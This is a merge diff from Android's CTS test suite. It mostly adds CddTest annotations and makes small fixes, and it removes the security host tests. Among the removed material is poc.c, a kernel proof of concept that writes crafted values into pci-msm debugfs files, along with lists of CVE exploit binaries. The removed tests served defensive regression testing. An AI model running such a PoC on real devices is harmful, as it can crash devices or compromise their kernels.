Merge "Snap for 5009059 from 578db49f3e3eb6b23de19fb60e0830044d9c8675 to oreo-cts-release" into oreo-cts-release
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index c3aaf9d..b9a3f19 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.verifier"
android:versionCode="5"
- android:versionName="8.0_r13">
+ android:versionName="8.0_r14">
<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="26"/>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 1a877f0..012b896 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1956,9 +1956,8 @@
<string name="device_admin_notification">This is device admin notification</string>
<string name="device_admin_keyguard_disable_camera">Disable camera</string>
<string name="device_admin_keyguard_disable_camera_instruction">
- Please press the Go button to lock the screen. Then try to open the camera
- from the lower right corner of the screen. Expected result is you cannot
- open the camera from lock screen and it will ask for password instead.
+ Please press the Go button to lock the screen. Expected result is you cannot
+ see the camera icon on the lower right corner of the screen, or if there is one, you cannot open the camera using it before you are asked for a password.
</string>
<string name="device_admin_disable_notifications">Disable notifications</string>
<string name="device_admin_disable_notifications_instruction">
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
index 009dd58..92257cf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
@@ -19,6 +19,7 @@
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
import com.android.cts.verifier.audio.wavelib.*;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.ReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
@@ -50,6 +51,7 @@
/**
* Tests Audio built in Microphone response for Unprocessed audio source feature.
*/
+@CddTest(requirement="5.11/C-1-1,C-1-2,C-1-3,C-1-4,C-1-5,C-1-6")
public class AudioFrequencyUnprocessedActivity extends AudioFrequencyActivity implements Runnable,
AudioRecord.OnRecordPositionUpdateListener {
private static final String TAG = "AudioFrequencyUnprocessedActivity";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
index e253635..c87e2e5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
@@ -32,10 +32,13 @@
import android.widget.Button;
import android.widget.TextView;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Tests Audio Device Connection events for output by prompting the user to insert/remove a
* wired headset (or microphone) and noting the presence (or absence) of notifications.
*/
+@CddTest(requirement="7.8.2.1/C-2-1")
public class AudioInputDeviceNotificationsActivity extends HeadsetHonorSystemActivity {
Context mContext;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
index 1a9ffac..288b7c9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
@@ -43,7 +43,7 @@
import com.android.compatibility.common.util.CddTest;
-@CddTest(requirement="7.8.3")
+@CddTest(requirement="7.8.3/C-1-1,C-1-2,C-2-1")
public class HifiUltrasoundSpeakerTestActivity extends PassFailButtons.Activity {
public enum Status {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
index 12f1853..bebc2a7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
@@ -131,7 +131,7 @@
allocBurstBuffer();
return true;
} catch (UnsupportedOperationException ex) {
- Log.i(TAG, "Couldn't open AudioTrack: " + ex);
+ Log.e(TAG, "Couldn't open AudioTrack: " + ex);
mAudioTrack = null;
return false;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
index d9094e5..7cdff34 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
@@ -120,7 +120,7 @@
mNumChannels = numChans;
mSampleRate = sampleRate;
- int chanPosMask = AudioUtils.countToInPositionMask(numChans);
+ int chanIndexMask = AudioUtils.countToIndexMask(numChans);
int bufferSizeInBytes = 2048; // Some, non-critical value
try {
@@ -128,14 +128,14 @@
.setAudioFormat(new AudioFormat.Builder()
.setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
.setSampleRate(mSampleRate)
- .setChannelMask(chanPosMask)
+ .setChannelIndexMask(chanIndexMask)
.build())
.setBufferSizeInBytes(bufferSizeInBytes)
.build();
return true;
} catch (UnsupportedOperationException ex) {
- Log.i(TAG, "Couldn't open AudioRecord: " + ex);
+ Log.e(TAG, "Couldn't open AudioRecord: " + ex);
mAudioRecord = null;
return false;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java
index 3477870..5c0c55e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java
@@ -24,6 +24,7 @@
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
+
import java.util.ArrayList;
import java.util.List;
@@ -68,6 +69,10 @@
"com.android.cts.verifier.bluetooth.BleScannerTestActivity");
disabledTestArray.add(
"com.android.cts.verifier.bluetooth.BleConnectionPriorityServerBaseActivity");
+ disabledTestArray.add(
+ "com.android.cts.verifier.bluetooth.BleInsecureServerTestListActivity");
+ disabledTestArray.add(
+ "com.android.cts.verifier.bluetooth.BleSecureServerTestListActivity");
}
setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
disabledTestArray.toArray(new String[disabledTestArray.size()])));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
index bc5cdbc..a7f0a95 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
@@ -17,12 +17,15 @@
package com.android.cts.verifier.dialer;
import android.content.Intent;
+import android.content.Context;
import android.os.Bundle;
import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
import android.view.View;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
+
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -37,6 +40,7 @@
private CheckBox mLaunchCallingAccountsSettingsCheckBox;
private Button mLaunchAccessibilitySettingsButton;
private CheckBox mLaunchAccessibilitySettingsCheckBox;
+ private TelephonyManager mTelephonyManager;
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -50,6 +54,8 @@
setPassFailButtonClickListeners();
getPassButton().setEnabled(false);
+ mTelephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
+
mLaunchCallSettingsCheckBox = findViewById(R.id.dialer_telecom_intents_call_settings_check_box);
mLaunchShortSmsAnswerCheckBox = findViewById(R.id.dialer_telecom_intents_short_sms_check_box);
mLaunchCallingAccountsSettingsCheckBox =
@@ -85,6 +91,11 @@
mLaunchAccessibilitySettingsButton.setOnClickListener(
(View unused) ->
startActivity(new Intent(TelecomManager.ACTION_SHOW_CALL_ACCESSIBILITY_SETTINGS)));
+ if (!mTelephonyManager.isHearingAidCompatibilitySupported() && !mTelephonyManager.isTtyModeSupported()) {
+ mLaunchAccessibilitySettingsButton.setVisibility(View.INVISIBLE);
+ mLaunchAccessibilitySettingsCheckBox.setVisibility(View.INVISIBLE);
+ mLaunchAccessibilitySettingsCheckBox.setChecked(true);
+ }
}
private void onCheckedChangeListener() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
index b4aa606..4aee2f9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MagneticFieldMeasurementTestActivity.java
@@ -31,6 +31,8 @@
import android.hardware.cts.helpers.sensorverification.MagnitudeVerification;
import android.hardware.cts.helpers.sensorverification.StandardDeviationVerification;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Semi-automated test that focuses characteristics associated with Accelerometer measurements.
* These test cases require calibration of the sensor before performing the verifications.
@@ -114,6 +116,7 @@
* Additionally, the device's debug output (adb logcat) dumps the set of values associated with
* the failure to help track down the issue.
*/
+ @CddTest(requirement="7.3.2/C-1-9")
@SuppressWarnings("unused")
public String testStandardDeviation() throws Throwable {
getTestLogger().logMessage(R.string.snsr_mag_verify_std_dev);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
index 8354fae..a19024a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
@@ -33,6 +33,8 @@
import android.util.Log;
import android.widget.TextView;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
@@ -46,6 +48,7 @@
* different protocols for a short amount of time, after which users can mark Pass/Fail depending
* on the smoothness and subjective quality of the video.
*/
+@CddTest(requirement="5.7/C-1-1,C-1-3")
public class StreamingVideoActivity extends PassFailButtons.TestListActivity {
/**
* Simple storage class for stream information.
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index fdd2f06..a833d73 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -30,9 +30,12 @@
import java.util.List;
import java.util.Map;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Tests for ephemeral packages.
*/
+@CddTest(requirement="3.15/C-0-1,C-0-2,C-0-3,C-0-4")
public class EphemeralTest extends DeviceTestCase
implements IAbiReceiver, IBuildReceiver {
@@ -130,22 +133,27 @@
super.tearDown();
}
+ @CddTest(requirement="3.15/C-0-2,C-0-3")
public void testNormalQuery() throws Exception {
runDeviceTests(NORMAL_PKG, TEST_CLASS, "testQuery");
}
+ @CddTest(requirement="3.15/C-0-2,C-0-3")
public void testNormalStartNormal() throws Exception {
runDeviceTests(NORMAL_PKG, TEST_CLASS, "testStartNormal");
}
+ @CddTest(requirement="3.15/C-0-2/C-0-3")
public void testNormalStartEphemeral() throws Exception {
runDeviceTests(NORMAL_PKG, TEST_CLASS, "testStartEphemeral");
}
+ @CddTest(requirement="3.15/C-0-2,C-0-3")
public void testEphemeralQuery() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testQuery");
}
+ @CddTest(requirement="3.15/C-0-2,C-0-3")
public void testEphemeralStartNormal() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartNormal");
}
@@ -153,41 +161,62 @@
// each connection to an exposed component needs to run in its own test to
// avoid sharing state. once an instant app is exposed to a component, it's
// exposed until the device restarts or the instant app is removed.
+ @CddTest(requirement="3.15/C-0-2,C-0-3")
public void testEphemeralStartExposed01() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed01");
}
+
+ @CddTest(requirement="3.15/C-0-2,C-0-3")
public void testEphemeralStartExposed02() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed02");
}
+
+ @CddTest(requirement="3.15/C-0-2,C-0-3")
public void testEphemeralStartExposed03() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed03");
}
+
+ @CddTest(requirement="3.15/C-0-2,C-0-3")
public void testEphemeralStartExposed04() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed04");
}
+
+ @CddTest(requirement="3.15/C-0-2,C-0-3")
public void testEphemeralStartExposed05() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed05");
}
+
+ @CddTest(requirement="C-0-2,C-0-3")
public void testEphemeralStartExposed06() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed06");
}
+
+ @CddTest(requirement="C-0-2,C-0-3")
public void testEphemeralStartExposed07() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed07");
}
+
+ @CddTest(requirement="C-0-2,C-0-3")
public void testEphemeralStartExposed08() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed08");
}
+
+ @CddTest(requirement="C-0-2,C-0-3")
public void testEphemeralStartExposed09() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed09");
}
+
+ @CddTest(requirement="C-0-2,C-0-3")
public void testEphemeralStartExposed10() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartExposed10");
}
+ @CddTest(requirement="3.15/C-0-2,C-0-3")
public void testEphemeralStartEphemeral() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartEphemeral");
}
+ @CddTest(requirement="3.15/C-0-3")
public void testExposedSystemActivities() throws Exception {
for (Map<String, String> testArgs : EXPECTED_EXPOSED_INTENTS) {
final boolean exposed = isIntentExposed(testArgs);
@@ -203,6 +232,7 @@
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testBuildSerialUnknown");
}
+ @CddTest(requirement="3.15/C-0-4")
public void testPackageInfo() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testPackageInfo");
}
@@ -211,10 +241,12 @@
runDeviceTests(EPHEMERAL_1_PKG, WEBVIEW_TEST_CLASS, "testWebViewLoads");
}
+ @CddTest(requirement="3.15/C-0-1")
public void testInstallPermissionNotGranted() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionNotGranted");
}
+ @CddTest(requirement="3.15/C-0-1")
public void testInstallPermissionGranted() throws Exception {
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 2e04e80..b2cef0a 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -24,6 +24,8 @@
import java.util.Date;
import java.util.List;
+import com.android.compatibility.common.util.CddTest;
+
public class GraphicsStatsValidationTest extends ProtoDumpTestCase {
private static final String TAG = "GraphicsStatsValidationTest";
@@ -48,6 +50,7 @@
killTestApp();
}
+ @CddTest(requirement="8.1/C-0-1/T-0-1")
public void testBasicDrawFrame() throws Exception {
GraphicsStatsProto[] results = runDrawTest("testDrawTenFrames");
GraphicsStatsProto statsBefore = results[0];
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index 3b2e027..28e89a5 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -16,6 +16,7 @@
package android.os.cts;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.CollectingOutputReceiver;
@@ -95,6 +96,7 @@
assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
}
+ @CddTest(requirement="3.2.3.2/C-0-4,C-0-5")
public void testIntentFilterHostValidation() throws Exception {
String line = null;
try {
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index ffb5add..b51c45e 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -18,8 +18,6 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIRS := res
-
LOCAL_MODULE_TAGS := optional
# tag this module as a cts test artifact
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 7b10600..676e898 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -15,113 +15,6 @@
-->
<configuration description="Config for the CTS Security host tests">
<option name="config-descriptor:metadata" key="component" value="security" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
- <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
- <option name="push" value="CVE-2016-8444->/data/local/tmp/CVE-2016-8444" />
- <option name="push" value="CVE-2016-8448->/data/local/tmp/CVE-2016-8448" />
- <option name="push" value="CVE-2016-8449->/data/local/tmp/CVE-2016-8449" />
- <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
- <option name="push" value="CVE-2017-0403->/data/local/tmp/CVE-2017-0403" />
- <option name="push" value="CVE-2017-0404->/data/local/tmp/CVE-2017-0404" />
- <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
- <option name="push" value="CVE-2017-0429->/data/local/tmp/CVE-2017-0429" />
- <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
- <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
- <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
- <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
- <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
- <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
- <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
- <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
- <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
- <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
- <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
- <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
- <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
- <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
- <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
- <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
- <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
- <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
- <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
- <option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
- <option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
- <option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
- <option name="push" value="CVE-2017-0580->/data/local/tmp/CVE-2017-0580" />
- <option name="push" value="CVE-2017-0462->/data/local/tmp/CVE-2017-0462" />
- <option name="push" value="CVE-2017-0579->/data/local/tmp/CVE-2017-0579" />
- <option name="push" value="CVE-2017-0577->/data/local/tmp/CVE-2017-0577" />
- <option name="push" value="CVE-2016-10231->/data/local/tmp/CVE-2016-10231" />
- <option name="push" value="CVE-2017-0564->/data/local/tmp/CVE-2017-0564" />
- <option name="push" value="CVE-2017-7369->/data/local/tmp/CVE-2017-7369" />
- <option name="push" value="CVE-2017-0576->/data/local/tmp/CVE-2017-0576" />
- <option name="push" value="CVE-2017-0586->/data/local/tmp/CVE-2017-0586" />
- <option name="push" value="CVE-2017-0705->/data/local/tmp/CVE-2017-0705" />
- <option name="push" value="CVE-2017-8263->/data/local/tmp/CVE-2017-8263" />
- <!--__________________-->
- <!-- Bulletin 2017-01 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-02 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-03 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-04 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-05 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <!--__________________-->
- <!-- Bulletin 2017-06 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <option name="push" value="Bug-35047780->/data/local/tmp/Bug-35047780" />
- <option name="push" value="Bug-35047217->/data/local/tmp/Bug-35047217" />
- <option name="push" value="Bug-35048450->/data/local/tmp/Bug-35048450" />
- <option name="push" value="Bug-35644815->/data/local/tmp/Bug-35644815" />
-
- <!--__________________-->
- <!-- Bulletin 2017-07 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <option name="push" value="Bug-33863407->/data/local/tmp/Bug-33863407" />
- <option name="push" value="Bug-34173755->/data/local/tmp/Bug-34173755" />
- <option name="push" value="Bug-35950388->/data/local/tmp/Bug-35950388" />
- <option name="push" value="Bug-34624155->/data/local/tmp/Bug-34624155" />
- <option name="push" value="Bug-33299365->/data/local/tmp/Bug-33299365" />
- <option name="push" value="Bug-35950805->/data/local/tmp/Bug-35950805" />
- <option name="push" value="Bug-35139833->/data/local/tmp/Bug-35139833" />
- <option name="push" value="Bug-35468048->/data/local/tmp/Bug-35468048" />
- <option name="push" value="Bug-35470735->/data/local/tmp/Bug-35470735" />
-
- <!--__________________-->
- <!-- Bulletin 2017-08 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <option name="push" value="Bug-36266767->/data/local/tmp/Bug-36266767" />
- <option name="push" value="Bug-36591162->/data/local/tmp/Bug-36591162" />
- <option name="push" value="CVE-2017-9678->/data/local/tmp/CVE-2017-9678" />
- <option name="push" value="CVE-2017-9692->/data/local/tmp/CVE-2017-9692" />
- <option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
- <option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
-
- <!--__________________-->
- <!-- Bulletin 2017-09 -->
- <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-
- <option name="push" value="Bug-33039685->/data/local/tmp/Bug-33039685" />
- <option name="push" value="Bug-35676417->/data/local/tmp/Bug-35676417" />
-
- <option name="append-bitness" value="true" />
- </target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsSecurityHostTestCases.jar" />
<option name="runtime-hint" value="32s" />
diff --git a/hostsidetests/security/res/add-debug.apk b/hostsidetests/security/res/add-debug.apk
deleted file mode 100644
index dff9cb6..0000000
--- a/hostsidetests/security/res/add-debug.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/security/res/crash_mod.apk b/hostsidetests/security/res/crash_mod.apk
deleted file mode 100644
index 4991294..0000000
--- a/hostsidetests/security/res/crash_mod.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/security/res/poc b/hostsidetests/security/res/poc
deleted file mode 100644
index 8b6f012..0000000
--- a/hostsidetests/security/res/poc
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/security/res/test-case b/hostsidetests/security/res/test-case
deleted file mode 100644
index bac4af1..0000000
--- a/hostsidetests/security/res/test-case
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
deleted file mode 100644
index 701138d..0000000
--- a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-33039685
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/poc.c b/hostsidetests/security/securityPatch/Bug-33039685/poc.c
deleted file mode 100644
index e9938c5..0000000
--- a/hostsidetests/security/securityPatch/Bug-33039685/poc.c
+++ /dev/null
@@ -1,107 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/types.h>
-
-#include <asm/ioctl.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-char *pci_msm_path = "/sys/kernel/debug/pci-msm/";
-
-#define SIZE 64
-
-int write_file(int fd, char *str) {
- int ret;
- ret = write(fd, str, SIZE);
- return 0;
-}
-
-int open_file(char *filename) {
- int fd;
- char file[125] = {0};
-
- sprintf(file, "%s%s", pci_msm_path, filename);
-
- fd = open(file, O_RDWR);
- if (fd < 0) {
- exit(1);
- }
- return fd;
-}
-
-void set_aer_enable() {
- int fd;
- char buf[SIZE] = {0};
-
- fd = open_file("aer_enable");
-
- write_file(fd, buf);
-
- close(fd);
-}
-
-void set_wr_offset() {
- int fd;
- char buf[SIZE] = {0};
-
- fd = open_file("wr_offset");
-
- sprintf(buf, "%s", "9999999");
-
- write_file(fd, buf);
-
- close(fd);
-}
-
-void set_test_case() {
- int fd;
- char buf[SIZE] = {0};
- buf[0] = '1';
- buf[1] = '2';
-
- fd = open_file("case");
-
- write_file(fd, buf);
-
- close(fd);
-}
-
-void set_base_sel() {
- int fd;
- char buf[SIZE] = {0};
- buf[0] = '1';
-
- fd = open_file("base_sel");
-
- write_file(fd, buf);
-
- close(fd);
-}
-
-int main(int argc, char *argv[]) {
- set_wr_offset();
- set_base_sel();
- set_test_case();
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-33299365/Android.mk b/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
deleted file mode 100644
index 8a7b047..0000000
--- a/hostsidetests/security/securityPatch/Bug-33299365/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
